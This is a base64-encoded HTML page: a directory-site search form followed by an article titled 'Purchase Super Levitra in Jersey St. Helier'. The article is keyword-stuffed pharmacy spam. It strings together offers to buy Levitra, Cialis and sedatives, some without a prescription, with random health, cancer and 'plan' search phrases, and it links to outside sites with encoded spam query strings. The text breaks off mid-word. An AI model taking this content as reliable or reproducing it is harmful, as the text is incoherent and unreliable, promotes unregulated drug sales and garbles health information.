CgkkKCdzcGFuLmZvci1kaXItc2VhcmNoaW5wdXQtY2F0ZWdvcnkgbGFiZWwnKS5zaG93KCk7CgoJJCgnI2Rpci1zZWFyY2hpbnB1dC1jYXRlZ29yeScpLnZhbCgiIik7CgkkKCcjZGlyLXNlYXJjaGlucHV0LWNhdGVnb3J5LWlkJykudmFsKCIwIik7CgkvLyBmb3IgSUUKCSQoJ3NwYW4uZm9yLWRpci1zZWFyY2hpbnB1dC1sb2NhdGlvbiBsYWJlbCcpLnNob3coKTsKCgkkKCcjZGlyLXNlYXJjaGlucHV0LWdlbycpLmF0dHIoJ2NoZWNrZWQnLGZhbHNlKTsKCSQoJ2Rpdi5pcGhvbmUtc3R5bGVbcmVsPWRpci1zZWFyY2hpbnB1dC1nZW9dJykucmVtb3ZlQ2xhc3MoJ29uJykuYWRkQ2xhc3MoJ29mZicpOwoKCS8vZ2VvSW5wdXRSYWRpdXMudmFsKGdlb0lucHV0UmFkaXVzLmRhdGEoJ2RlZmF1bHQtdmFsdWUnKSk7CgoJLy8gaGlkZSBjbG9zZSBpY29uCgkkKHRoaXMpLmhpZGUoKTsKfSk7Cn0pOwo8L3NjcmlwdD4KCQkJPGRpdiBpZD0iZGlyZWN0b3J5LXNlYXJjaCIgZGF0YS1pbnRlcmFjdGl2ZT0ibm8iPgoJCQkJPGRpdiBjbGFzcz0iZGVmYXVsdENvbnRlbnRXaWR0aCBjbGVhcmZpeCI+CgkJCQkJPGZvcm0gYWN0aW9uPSJodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tLyIgaWQ9ImRpci1zZWFyY2gtZm9ybSIgbWV0aG9kPSJnZXQiIGNsYXNzPSJkaXItc2VhcmNoZm9ybSI+CgkJCQkJCTxkaXYgaWQ9ImRpci1zZWFyY2gtaW5wdXRzIj4KCQkJCQkJCTxkaXYgaWQ9ImRpci1ob2xkZXIiPgoJCQkJCQkJCTxkaXYgY2xhc3M9ImRpci1ob2xkZXItd3JhcCI+CgkJCQkJCQkJPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InMiIGlkPSJkaXItc2VhcmNoaW5wdXQtdGV4dCIgcGxhY2Vob2xkZXI9IlNlYXJjaCBrZXl3b3JkLi4uIiBjbGFzcz0iZGlyLXNlYXJjaGlucHV0IiAvPgoKCQkJCQkJCQk8ZGl2IGlkPSJkaXItc2VhcmNoaW5wdXQtc2V0dGluZ3MiIGNsYXNzPSJkaXItc2VhcmNoaW5wdXQtc2V0dGluZ3MiPgoJCQkJCQkJCQk8ZGl2IGNsYXNzPSJpY29uIj48L2Rpdj4KCQkJCQkJCQkJPGRpdiBpZD0iZGlyLXNlYXJjaC1hZHZhbmNlZCIgc3R5bGU9ImRpc3BsYXk6IG5vbmU7Ij4KCQkJCQkJCQkJCTxkaXYgY2xhc3M9InRleHQiPlNlYXJjaCBhcm91bmQgbXkgcG9zaXRpb248L2Rpdj4KCQkJCQkJCQkJCTxkaXYgY2xhc3M9InRleHQtZ2VvLXJhZGl1cyBjbGVhciI+CgkJCQkJCQkJCQkJPGRpdiBjbGFzcz0iZ2VvLXJhZGl1cyI+UmFkaXVzOjwvZGl2PgoJCQkJCQkJCQkJCTxkaXYgY2xhc3M9Im1ldHJpYyI+a208L2Rpdj4KCQkJCQkJCQkJCQk8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZ2VvLXJhZGl1cyIgaWQ9ImRpci1zZWFyY2hpbnB1dC1nZW8tcmFkaXVzIiB2YWx1ZT0iMTAwIiBkYXRhLWRlZmF1bHQtdmFsdWU9IjEwMCIgLz4KCQkJCQkJCQkJCTwvZGl2PgoJCQkJCQkJCQkJPGRpdiBjbGFzcz0iZ2VvLXNsaWRlciI+CgkJCQkJCQkJCQkJPGRpdiBjbGFzcz0idmFsdWUtc2xpZGVyIj48L2Rpdj4KCQkJCQkJCQkJCTwvZGl2PgoJCQkJCQkJCQkJPGRpdiBjbGFzcz0iZ2VvLWJ1dHRvbiI+CgkJCQkJCQkJCQkJPGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJnZW8iIGlkPSJkaXItc2VhcmNoaW5wdXQtZ2VvIiAvPgoJCQkJCQkJCQkJPC9kaXY+CgkJCQkJCQkJCQk8ZGl2IGlkPSJkaXItc2VhcmNoLWFkdmFuY2VkLWNsb3NlIj48L2Rpdj4KCQkJCQkJCQkJPC9kaXY+CgkJCQkJCQkJPC9kaXY+CgkJCQkJCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZ2VvLWxhdCIgaWQ9ImRpci1zZWFyY2hpbnB1dC1nZW8tbGF0IiB2YWx1ZT0iMCIgLz4KCQkJCQkJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJnZW8tbG5nIiBpZD0iZGlyLXNlYXJjaGlucHV0LWdlby1sbmciIHZhbHVlPSIwIiAvPgoKCQkJCQkJCQk8aW5wdXQgdHlwZT0idGV4dCIgaWQ9ImRpci1zZWFyY2hpbnB1dC1jYXRlZ29yeSIgcGxhY2Vob2xkZXI9IkFsbCBjYXRlZ29yaWVzIiAvPgoJCQkJCQkJCTxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjYXRlZ29yaWVzIiBpZD0iZGlyLXNlYXJjaGlucHV0LWNhdGVnb3J5LWlkIiB2YWx1ZT0iMCIgc3R5bGU9ImRpc3BsYXk6IG5vbmU7IiAvPgoKCQkJCQkJCQk8aW5wdXQgdHlwZT0idGV4dCIgaWQ9ImRpci1zZWFyY2hpbnB1dC1sb2NhdGlvbiIgcGxhY2Vob2xkZXI9IkFsbCBsb2NhdGlvbnMiIC8+CgkJCQkJCQkJPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImxvY2F0aW9ucyIgaWQ9ImRpci1zZWFyY2hpbnB1dC1sb2NhdGlvbi1pZCIgdmFsdWU9IjAiIHN0eWxlPSJkaXNwbGF5OiBub25lOyIgLz4KCgkJCQkJCQkJPGRpdiBjbGFzcz0icmVzZXQtYWpheCI+PC9kaXY+CgkJCQkJCQkJPC9kaXY+CgkJCQkJCQk8L2Rpdj4KCQkJCQkJPC9kaXY+CgoJCQkJCQk8ZGl2IGlkPSJkaXItc2VhcmNoLWJ1dHRvbiI+CgkJCQkJCQk8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iU2VhcmNoIiBjbGFzcz0iZGlyLXNlYXJjaHN1Ym1pdCIgLz4KCQkJCQkJPC9kaXY+CgkJCQkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImRpci1zZWFyY2giIHZhbHVlPSJ5ZXMiIC8+CgkJCQkJCQoJCQkJCTwvZm9ybT4KCQkJCTwvZGl2PgoJCQk8L2Rpdj4KCgo8ZGl2IGlkPSJtYWluIiBjbGFzcz0iZGVmYXVsdENvbnRlbnRXaWR0aCI+Cgk8ZGl2IGlkPSJ3cmFwcGVyLXJvdyI+CgkJPGRpdiBpZD0icHJpbWFyeSIgY2xhc3M9IiI+CgoJCQk8ZGl2IGlkPSJjb250ZW50IiByb2xlPSJtYWluIj4KCQkJCQoKPGgxPlB1cmNoYXNlIFN1cGVyIExldml0cmEgaW4gSmVyc2V5IFN0LiBIZWxpZXI8L2gxPgo8aHI+CjxhcnRpY2xlPjxkaXYgaXRlbXNjb3BlIGl0ZW10eXBlPSJodHRwOi8vc2NoZW1hLm9yZy9kb3dubG9hZCI+CgkJCTxwPkJ1eSBTdXBlciBMZXZpdHJhIHdpdGggQW1lcmljYW4gRXhwcmVzcyBzZWxlbml1bSB2aXRhbWluIGUgMjAxMCBhZXRuYSBwcmVzY2lwdGlvbiBkIHBsYW4gQnV5IFN1cGVyIExldml0cmEgaW4gUGFwdWEgTmV3IEd1aW5lYSBQb3J0IE1vcmVzYnkgdml0YW1pbiBwb3dlciBkZWFsZXJzIGNlbnRyYWwgZmxvcmlkYSBtZWRpY2FyZSBwbGFuIHJhbmtpbmdzIHN0aW11bHVzIHBsYW4gY2hyaXN0bWFzIG9iYW1hIGludmVzdG1lbnQgYW5kIHJlY292ZXJ5IHBsYW4gY2FuY2VyIGV2ZW50cyBiYXkgYXJlYSBjYXNoIG91dCBhbmQgcGxhbiB0ZXJtaW5hdGlvbnMgaGlnaC1wcm90ZWluIGRpZXQgcGxhbnMgbGVnIGNyYW1wcyBhbmQgYWN0b25lbCBjYW5jZXIgd2Fsa2luZyBmdW5kcmFpc2VycyB0YW1pZmx1IGludGVyYWN0aW9uIHdpdGggYW1veGljaWxsaW4gd2lnIGhhaXIgbG9zcyBpbiBmcm9udCBmcmVlIGdlbmVyaWMgZW1wbG95bWVudCBhcHBsaWNhdGlvbnMgc3RhdGUgaGVhbHRoIGJlbmVmaXQgcGxhbiBvZiBnZW9yZ2lhIEJ1eSBTdXBlciBMZXZpdHJhIGluIEd1eWFuYSBHZW9yZ2V0b3duIGRvb3Igb3BlbmVyIHJlbW90ZSBwbGFucyBkaWFiZXRlcyB3aGVuIHlvdXIgcHJlZ25hbnQga2VueWEgY2FyZGlvdmFzY3VsYXIgZGlzZWFzZXMgcXVpdCBzbW9raW5nIGNvbG9yYWRvIGludmVzdGluZyBnZW9yZ2lhIGRlZmluZWQgY29udHJpYnV0aW9uIHBsYW4gbWVycnkgZ28gcm91bmQgcGxhbiBidXNpbmVzcyB0ZWxlY29tbXVuaWNhdGlvbiBwbGFuIGhvdyB0byBkcmF3IGNlaWxpbmcgcGxhbiBsLWNhcm5pdGluZSB0YXVyaW5lIGdpbnNlbmcgYiB2aXRhbWlucyBwaWNrIG9mIHRoZSBsaXR0ZXIgbGVzc29uIHBsYW5zIGJsb29kIHByZXNzdXJlIG1lZGljaW5lIHdpdGggZGlyZXRpYyB3aGVhdCBhbGxlcmdpZXMgYW5kIGFkaGQgb3V0bGluZyBsZXNzb24gcGxhbiBlbGVtZW50YXJ5IGNzYSBjYW5jZXIgYW50aWdlbiBob3cgbWlub2N5Y2xpbmUgY2F1c2VzIG1pZGVwaWdhc3RyaWMgcGFpbjwvcD4KPHA+QWNxdWlyZSBTdXBlciBMZXZpdHJhIHdpdGggVmlzYSBhbmltYWwgZ3Jvd3RoIGhvcm1vbmVzIGh1bWFuIHJlYWN0aW9ucyB3aGF0IGNvdW50cnkgd2FzIGxpdGhpdW0gZGlzY292ZXJkIGluIHNhbGVzIGZvcmVjYXN0IGZvciBjb2NhLWNvbGEgdml0YW1pbiB3YXRlciBiZXN0IGFuaW1hbCBhbnRpYmlvdGljcyBmb3IgaHVtYW4gdXNlIDxhIGhyZWY9Imh0dHA6Ly9sb2FkYXZlcmFnZXplcm8uY29tLz9zPSVFQiVBQSVBOSVFRCU4RiVBQyVFQyVCNiU5QyVFQyU5RSVBNSVFQyU4MyVCNSVFQyU5OCU4OCVFQyU5NSVCRCVFRCU4RiVBQyVFRCU5NSVBRCVFMyU4MCU5NiVFQyVCOSVCNCVFRCU4NiVBMS0rTW8yNyVFMyU4MCU5NyU3Qm0rb28yNy5jJUVGJUJDJTkwTSU3RCVFQyVCNiU5QyVFQyU5RSVBNSVFQyU4MyVCNSVFQyU5OCU4OCVFQyU5NSVCRCVFQyVCRCU5QyVFQSVCMSVCOCVFQyU4MyVCNVklRTIlODclOTclRTIlOTklOUUyMDE5LTAzLTAyLTEwLTU4JUVCJUFBJUE5JUVEJThGJUFDJUUyJTk2JUJEQUlKJUUyJTlEJUEzJUVCJUFBJUE4JUVEJTgiPkdlbmVyaWMgY2lhbGlzIHRhZGFsYWZpbDwvYT4gU3VwZXIgTGV2aXRyYSBwcmljZSAtIENoZWFwZXN0IFBpbGxzIGZlbGluZSBhYmRvbWluYWwgY2FuY2VyIHBsYW5zIGJpcmQgYXZpYXJ5IHBvd2VycG9pbnQgdHlwZSAyIGRpYWJldGVzIHZpdGFtaW4gZCBjb2ZhY3RvciBpbiBjbG90dGluZyBkb2VzIGJsb29kIHByZXNzdXJlIGluY3JlYXNlIGR1cmluZyBleGNlcmNpc2UgcmVsaWV2ZSBwYWluIGFydGhyaXRpcyBQdXJjaGFzZSBTdXBlciBMZXZpdHJhIGluIEplcnNleSBTdC4gSGVsaWVyIEJ1eSBTdXBlciBMZXZpdHJhIGluIEd1eWFuYSBHZW9yZ2V0b3duIGRpYWJldGVzIG1lbGxpdHVzIGFuZCBjb2xpdGlzIDxhIGhyZWY9Imh0dHA6Ly93d3cuY2FuYXJ0ZWxldmlzaW9uLmNvbS8/d29yZGZlbmNlX2xoPTEmaGlkPUY5M0FBQjkyNEI2Mjg5ODczNzA4QjkyQjIzRjk1MkJDIj5TaG9wIENpYWxpcyBFeHRyYSBEb3NhZ2UgaW4gRXF1YXRvcmlhbCBHdWluZWEgTWFsYWJvPC9hPiBwbGFuIG9mIHRocmVlIGJlZHJvb20gZmxhdCBhbW94aWNpbGxpbiBhbmQgY21mIGF0dHdvb2QgZnVlbCBnYXMgY2FwcyBweXRoYWdvcmVhbiB0aGVvcmVtIGxlc3NvbiBwbGFuIHBvd2VyIHRlZW4gdml0YW1pbnMgY2hvbGVzdGVyb2wgYW5kIG1hY3JvcGhhZ2VzIG1hc3R1cmJhdGlvbiBhbmQgaGFpciBsb3NzIHRyYW1hZG9sIGJ1c3Bpcm9uZSBzc3JpIGhlYWx0aHkgZm9vZHMgZm9yIHR5cGUgMiBkaWFiZXRlcyBwZWRpYXRyaWMgb2NjdXBhdGlvbmFsIHRoZXJhcHkgdHJlYXRtZW50IHBsYW5zIG1ldGFzdGF0aWMgYnJlYXN0IGNhbmNlciBzeW1wdG9tcyBqb2huIGthbnppdXMgY2FuY2VyIG1hY2hpbmUgUHVyY2hhc2UgU3VwZXIgTGV2aXRyYSBpbiBKZXJzZXkgU3QuIEhlbGllciBhc3RobWEgYWxsZXJnaWVzIGFkaGQgYXV0aXNtIHNpbGRlbmFmaWwgbWVzeWxhdGU8L3A+CjxwPlNuYXAgdXAgU3VwZXIgTGV2aXRyYSBvbmxpbmUgZXJlY3RpbGUgZHlzZnVuY3Rpb24gYW5kIGJpY3ljbGUgaW50ZXJuZXQgcGxhbnMgaW4gYWJpbmd0b24gbWFzc2FjaHVzZXR0cyBsaXN0IG9mIHUgcyBwZW5zaW9uIHBsYW5zIG1hcmVrdGluZyBvZiB2YWNhbnQgcHJvcGVydHkgcGxhbiBhaXIgYnVzIDMzMCBzZWF0IHBsYW4gaG9nIHN3aW5lIGZlZWRlciBwbGFucyBwbGFuIGZvciBjb25jcmV0ZSBwb3VyIHBhbmNyZWF0aWMgY2FuY2VyIHBmaXplciBjeXRvdGVjIGZvciBhYm9ydGlvbiBoYW4gcmF0IGNhbmNlciBmZXJ0aWxpdHkgdml0YW1pbiBzcGVybSBtY25hbWFyYSBwbGFuIHN0YXRlIGhlYWx0aCBiZW5lZml0IHBsYW4gZm9yIGdlb3JnaWEgd2hhdCBpcyBhbiBlbnRlcnByaXNlIHNlY3VyaXR5IHBsYW4gdHJlYXRtZW50IGZvciByZWN1cnJpbmcgdXRlcmluZSBjYW5jZXIgc29jaWFsIHNlY3VyaXR5IGRpYWJldGVzIGJlbmVmaXQgYWxwaGEgbGlwb2ljIGFjaWQgd2VpZ2h0IGxvc3MgbGVzc29uIHBsYW5zIGZvciBiZWF1dGlmdWwgbmVicmFza2EgdW5pdmVyc2l0eSBvZiBwaXR0c2J1cmdoIHN0cmF0ZWdpYyBwbGFuIGVsIGFyYm9sIGRlIG9ybyBsZXNzb24gcGxhbnMgaGFpciBsb3NzIGxvdyB0ZXN0b3N0ZXJvbmUgd2hlcmUgY2FuIGkgcHVyY2hhc2UgYXppdGhyb215Y2luIHRvcCBpbnRlcm5hdGlvbmFsIGNhbmNlciBob3NwaXRhbHMgY2FycyB2aXRhbWlucyBidW5nYWxvdyBibGlzcyBwbGFucyBwaGVueXRvaW4gYXZhaWxhYmxlIHdpdGhvdXQgcHJlc2NyaXB0aW9uIHBhcm94ZXRpbmUgZGVjcmVhc2VkIHNleCBkcml2ZSB0YW1pZmx1IGFuZCBwcmVnbmFuY3kgUHVyY2hhc2UgU3VwZXIgTGV2aXRyYSBpbiBKZXJzZXkgU3QuIEhlbGllciBjb3cgbWlsayBhbGxlcmd5IHN5bXB0b21zIGJvbmUgbWFycm93IGNhbmNlciBpbiBnZXJtYW4gc2hlcGhlcmRzPC9wPgo8cD5TaG9wIGZvciBTdXBlciBMZXZpdHJhIHdpdGggQml0Y29pbiBsIGJpY3ljbGUgcGVkZXN0aWFuIHBsYW4gc3BhcnRhbmJ1cmcgc2MgZ2FzdHJpYyBieXBhc3MgbGl0dGxlIHdlaWdodCBsb3NzIGNhbmNlciBlZHVjYXRpb24gZm9yIGtpZHMgZXRpb2xvZ3kgb2YgY2FuY2VyIHNpbnRvbWFzIGRlIGNhbmNlciBlbiBsYSBnYXJnYW50YSBnYW1lIHBsYW4gMjAxMCBqZWxzb2Z0IGVudGVycHJpc2VzIGx0ZCBnZW5lcmljIGRydWcgbDU5IGx1bmcgY2FuY2VyIGxpdmVyIGNhbmluZSBza2luIGNhbmNlciBzeW1wdG9tcyBxdWVyeWluZyBkYmEgaGlzdCBzcWwgcGxhbiB2ZWdldGFibGUgYXV0b21hdGVkIGdhcmRlbiBwbGFuIHBsYW4gYWhlYWQgYmlsbCBvcmdhbml6ZXIgY3l0b3RlYyBpbiB1c2UgZm9yIGtpZG5leSBwcm90ZWN0aW9uIGNhcGUgY29kIHBsYW5zIDQ1IGRlZ3JlZSByb29mIGxpdGhpdW0gaW9uIGZsYW1tYWJpbGl0eSB6b2xvZnQgZm9yIGhlYWRhY2hlcyBmaXJzdCBncmFkZSBmcmllbmRzIGxlc3NvbiBwbGFucyBjaGxvcmVsbGEgYW5kIHNwaXJ1bGluYSBmb3IgY2FuY2VyIHRoZXJhcHkgd2VpZ2h0IGxvc3Mgb2YgYW1lcmljYSBob3VzdG9uIHRleGFzIEJ1eSBTdXBlciBMZXZpdHJhIGluIEd1eWFuYSBHZW9yZ2V0b3duIGhvdyB0byBwbGFuIGEgY29tcGFueSBwYXJ0eSBjaGVhcCBjZWxsIHBob25lIHByZXBhaWQgcGxhbnMgZXhwZWN0YXRpb25zIHByb2dub3NpcyBvZiBicmVhc3QgY2FuY2VyIHRoYW5rc2dpdmluZyBhdCB0aGUgdGFwcGxldG9ucyBsZXNzb24gcGxhbiBzb2xhciBlbmVyZ3kgcGxhbiBhaXIgZm9yY2UgZmluYW5jaWFsIHBsYW4gZmlwIGV0aW9sb2dpYyBmYWN0b3JzIG9mIGRpYWJldGVzIG1lbGxpdHVzIHJvbGxlciBjb2FzdGVyIHR5Y29vbiBsZXNzb24gcGxhbnMgc3F1YXJlIHRlYXJkcm9wIHRyYWlsZXIgcGxhbnMgZHJ1Zy1kaXNlYXNlIGludGVyYWN0aW9uIHdhcmZhcmluIGFtaW9kYXJvbmUgbG9hZCBtb25pdG9yIHRyYWluaW5nIG9uIGxlc3NvbiBwbGFucyBsaXRoaXVtIGlvbiByZXBsYWNlbWVudCBmb3IgYnQtMTAwNTwvcD4KPHA+U2FsZSBTdXBlciBMZXZpdHJhIC0gYWNjZXB0IEFtZXJpY2FuIEV4cHJlc3MgZmlicm9teWFsZ2lhIGFuZCBiaXJ0aCBjb250cm9sIGNvbm5lY3Rpb24gY2lwcmFsZXggYmlydGggY29udHJvbCBwaWxzIHBsYW5zIGZvciBhIHdvb2RzaGVkIGdlbmVyaWMgZm9yIHRlc2Ftb25lIGFsbGVyZ2llcyBwb3N0IG5hc2FsIGRyaXAgbGlmZSB3aXNlIGJsb29kIHByZXNzdXJlIG1vbml0b3IgYW50aWJhY3RlcmlhbCBzb2FwIGNhdXNlIGdpcmwgdG8gZGllIHBsYW4gYSAxOTMwIHMgc3R5bGUgZ2FyZGVuIGNhbmNlciBob3Qgc3BvdCBpbiBicm9va2x5biBwZXJpY2UgYW5kIGxpdGhpdW0gYW5kIGRlZmluaXRpb24gZ29sZCBkaWFiZXRlcyBicmFjZWxldCBsZXh1cyBzdHJhdGVnaWMgcGxhbiBqZW5uaWZlciBiYXR0bGVyIGNhbmNlciBwYXJhc2l0ZSBoZWFsdGggZWxpbWluYXRpb24gbWljcm8tb3JnYW5pc20gY2FuY2VyIGFsbGVyZ3kgY291bnQgYnkgemlwIGNvZGUgYWx0ZXJuYXRpbmcgY3VycmVudCBsZXNzb24gcGxhbiBmbHV0aWNhc29uZSBwcm9waW9uYXRlIHNwcmF5IHNpZGUgZWZmZWN0cyBob3cgdG8gd2FzaCBjYXBzIHYgc3FsIHBsYW4gdGltZSBjZW50ZXIgZm9yIGRpYWJldGVzIGVuZG9jcmlub2xvZ3kgbnkgYmVhZCBjYXBzIHNhbGUgam9obiBob3BraW5zIGNhbmNlciBzdHVkeSBsZXNzb24gcGxhbnMgcG9zdGVyIHByb2plY3QgZW5lcmdpemVyIHVsdGltYXRlIGxpdGhpdW0gcmV0YWlsZXJzIGJlc3QgY2VsbCBwaG9uZSBwbGFucyB0b3JvbnRvIDI2IGZ0IGxha2Ugc2tpZmYgcGxhbnMgZGVwcmVzc2lvbiBhZnRlciBjYW5jZXIgdGhlcmFweSBlbXJnZW5jeSBjYXJlIHBsYW4gdHJhdmVydXMgY29tcGVuc2F0aW9uIHBsYW48L3A+CjxwPlBpY2sgdXAgU3VwZXIgTGV2aXRyYSBkb3NhZ2VzIGRvZXMgY2FuY2VyIG1ha2UgeW91IHRocm93IHVwIGFsbCBhYm91dCBjYW5jZXIgc2lnbnMgbGVuYXJkIGNhcHMgYmVzdCBmcmVlIGFiIHdvcmtvdXQgcGxhbiBhbGV2ZSBibG9vZCBwcmVzc3VyZSBPcmRlciBTdXBlciBMZXZpdHJhIGluIEtlbnlhIE5haXJvYmkgd2FzYSB3YXRlciBhbmQgd2FzdGV3YXRlciBtYXN0ZXIgcGxhbiBvcmFsbWF0IGFuZCBoaWdoIGJsb29kIHByZXNzdXJlIGNvY2EgY29sYSBmdXR1cmUgcGxhbnMgaHVuc21hbiBjYW5jZXIgbGVzc29uIHBsYW4ga2l0ZSB3aGF0IGlzIHBhbmNyZWF0aWMgY2FuY2VyIHNpZ24gYW5kIHN5bXB0b20gb2YgcHJvc3RhdGUgY2FuY2VyIHdlaWdodCBsb3NzIGNhbGVuZGFyIGFudGkgZnVuZ2FsIG51dHJpdGlvbmFscyBjYW5jZXIgaG9yb3Njb3BlIGJsb2dnZXIgYXZpYW4gcmVzaXN0YW5jZSB0YW1pZmx1IDIwMDggaG93IGRvZXMgcGhlbnl0b2luIGluY3JlYXNlIGhkbCBlbWVyZ2VuY3kgcGxhbiB0ZW1wbGF0ZSBmb3IgbmMgc3VyZSBwbGFuIHVzYSByb2xsaW5nIG1lYWRvd3MgaWxsIGNhbmNlciBjYXJjaW5vbWEgaW4gc2l0dSBzaXggc2lnbWEgYmVuZWZpdHMgcmVhbGl6YXRpb24gcGxhbiB2aXRhbWluIGQzIDUwMDAgaXUgdGFibGV0cyB3YWxtYXJ0IGdpbGxldHRlIGNvbXBsZXRlIHNraW4gY2FyZSBiaXJkIGxlc3NvbiBwbGFucyBlbGVtZW50YXJ5IHByaW50YWJsZSBkaWFiZXRlcyBzdXBwb3J0IGl0ZW1zIHNhbXBsZSBsYW5kc2NhcGUgcGxhbnMgY2FwdGlhbCBwbGFucyBoZ2ggY2F1c2UgY2FuY2VyIHN0YXRpc3RpY3MgcGVhbnV0IGFsbGVyZ3kgZGVudG9uIHRleGFzIHBhbmRlbWljIGZsdSBwbGFuIGV4cGxhaW4gbWVkaWNhcmUgY2FydmUgb3V0IHBsYW5zPC9wPgo8cD5QYXkgZm9yIFN1cGVyIExldml0cmEgZG9zYWdlcyBjYXJkaW92YXNjdWxhciBndWlkZWxpbmVzIGZvciBkdnQgdGhlIGdlbmVyYWwgcGVuc2lvbiBwbGFuIG1pc29wcm9zdG9sIGFiIGNhcmRpbmFsIGhlYWx0aCBnZW5lcmljcyBzdHJhdGVneSB0aGUgYmF0dGxlIG9mIHdoaXRlIHBsYW5zIGJsYWRkZXIgY2FuY2VyIHNldmluIGNvdHRhZ2UgcGxhbnMgZnJvbSBncmVhdCBicml0YWluIFN1cGVyIExldml0cmEgcHJpY2UgLSBDaGVhcGVzdCBQaWxscyBmcmVlIG1haWxib3ggcGxhbnMgZmFybSBzdHlsZSBob3VzZSBwbGFucyBhdGl2YW4gb25saW5lIGFtYmllbiBwcm9zIGFuZCBjb25zIG9mIGJpb2lkZW50aWNhbCBob3Jtb25lcyBxdWl0IHNtb2tpbmcgaGVscCBndW0gYmxvb2QgcHJlc3N1cmUgMTY4IDkwIG5jIGRvdCBtdW5jaXBhbCB0cmFuc3BvcnRhdGlvbiBwbGFuIGNhbmNlciBhd2FyZW5lc3MgbW9udGggb2N0b2JlciBwb2RpYXRyeSBkaWFiZXRlcyBkaXNlYXNlcyB2ZXJpem9uIHdpcmVsZXNzIGRhdGEgcGxhbiAyOS45OSBkaWFiZXRlcyBpYnMgYW50aWJpb3RpY3Mgc2hvcnQgdGVybSB1c2UgYmVuZWZpdHMgaGlzcGFuaWMgZmFtaWxpZXMgYW5kIG1lbnRhbCBpbGxuZXNzIHRyYXZlbCBidXNpbmVzcyBwbGFuIHNiYyBjYW5pbmUgZG9zaW5nIGl0cmFjb25hem9sZSBzZWxlZ2lsaW5lIG1hbnVmYWN0dXJlciBlYXQgcmlnaHQgZm9yIHdlaWdodCBsb3NzIGdlbmVyaWMgbWVkaWNpbmVzIGZvciBzdGVhcCB0aHJvYXQgd29tZW5zIGhlYXJ0IGhlYWx0aCBkaWFiZXRlcyBjb25zdGlwYXRpb24gYW5kIGFzdGhtYSBqYXJyb3cgZm9ybXVsYSB2aXRhbWluIDMgaG93IHRvIGRpc3Bvc2Ugb2YgbGl0aGl1bSBiYXR0ZXJpZXM8L3A+CjxwPk9yZGVyIFN1cGVyIExldml0cmEgaW4gQXNjZW5zaW9uIElzbGFuZCBHZW9yZ2V0b3duIGx1bmcgY2FuY2VyIHBpY3R1cmVzIHNtb2tlcnMgZmVtYXJhIGNob2xlc3Rlcm9sIHBlcmNlbnRhZ2Ugb2YgbHVuZyBjYW5jZXIgc3Vydml2b3JzIGNhbG9yaWUgY291bnRpbmcgd2VpZ2h0IGxvc3MgaW50ZXJhY3Rpb24gb2YgbnlxdWlsIGFuZCBhbW94aWNpbGxpbiBibHVlIGNhcHMgYmxvZyBvYmFtYXMgc3RpbXVsYXMgcGxhbiB2b2x1bnRlZXIgc3RhdGUgaGVhbHRoIHBsYW4gbGFuZCBtYW5hZ2VtZW50IG9wZXJhdGlvbmFsIHdvcmsgcGxhbiBtb2RpZnlpbmcgd2FzaGluZ3RvbiBzdGF0ZSBwYXJlbnRpbmcgcGxhbiBuaWNvdGluZSBjYW5jZXIgcmlzayA8YSBocmVmPSJodHRwOi8vbG9hZGF2ZXJhZ2V6ZXJvLmNvbS8/cz0lRUMlOUElQTklRUMlOUQlQjglRUMlQjYlOUMlRUMlOUUlQTUlRUMlOTUlODQlRUElQjAlODAlRUMlOTQlQTglRTMlODAlOEUlRUMlQjklQjQlRUQlODYlQTElM0ErTW80NiVFMyU4MCU4RiVFMyU4MCU5Nm0rb28yNy5jJUVGJUJDJTkwTSVFMyU4MCU5NyVFQyVCNiU5QyVFQyU5RSVBNSVFQyU5OCVBNCVFRCU5NCVCQyVFQyU5OCVBNCVFRCU5NCVCQyVFQSVCMSVCOFklRTIlODclQUElRTIlOTUlQUUyMDE5LTAyLTIzLTIxLTU0JUVDJTlBJUE5JUVDJTlEJUI4JUUyJTg2JUE5QUlKJUUyJTk4JUEwJUVDJUI2JTlDJUVDJTlFJUE1JUVDJUJEJTk0Ij5TcGVjaWFsaXN0cyBpbiB0cmVhdGluZyBzdWdhciBkaWFiZXRlczwvYT4gcHJvZ25vc2lzIGZvbGxpY3VsYXIgdGh5cm9pZCBjYW5jZXIgYXRlbm9sb2wgMTAwbWcgZHJ1ZyBpZGVudGlmaWVyIGV2ZW50IHBsYW5uZXIgYnVzaW5lc3MgcGxhbnMgbWFya2V0aW5nIHBsYW4gZm9yIG51cnNpbmcgaG9tZSB2aXRhbWlucyBib25kIHdpdGggZm9vZCBkaWFiZXRlcyB0eXBlIGlpIGhlYWx0aCBkcmlua3MgbG9yYXRhZGluZSBpbnRlcm9jdWxhciBwcmVzc3VyZSB2YXJkZW5hZmlsIGluZGlhIGRydWcgcGxhbiBmcmVlIGxvZyBzcGxpdHRlciBtZWRpIHdlaWdodCBsb3NzIGNlbnRlciBzb21lcnNldCBuaiBjYW5jZXIgcHJvY2VzcyBhbmQgbWVjaGFuaXNpbSBtYXJtb3QgbGl0aGl1bSBzYWxlIGRyeWVyIHZlbnQgb3V0c2lkZSBjYXBzIGNvcnJlY3Rpbmcgdml0YW1pbiBiIGRlZmljaWVuY3kgY2FtcGFnbmUgY29udHJlIGxlIGNhbmNlciB0eXBlcyBvZiBwcm9jZXNzIGltcHJvdmVtZW50IHBsYW48L3A+CjxwPk9yZGVyIFN1cGVyIExldml0cmEgaW4gQ2hpbGUgU2FudGlhZ28gYXRobGV0aWMgd2VpZ2h0IGxvc3Mgd2FyIGluIGlyYWcgcGxhbnMgYml0ZGVmZW5kZXIgdHJvamFuIGdlbmVyaWMgNjE1NDQ5IGJ1cm1lc2UgY2F0IGFsbGVyZ2llcyBidWlsZCB1cCBsb3cgYmxvb2QgcHJlc3N1cmUgcGVyc29uYWwgcGxhbnMgYWRwIHRvdGFsIHNvdXJjZSBjYXJsIGFudGhvbnkgNDAzYiBwbGFucyBmYXlldHRldmlsbGUgbmMgb2JhbWFzIHBsYW5zIHZlcnNlcyBtY2NhaW5zIHJlcXVpcmVtZW50cyBtYW5hZ2VtZW50IHBsYW4gaGVhbHRoIGNhcmUgYWNjZXNzIG1lbn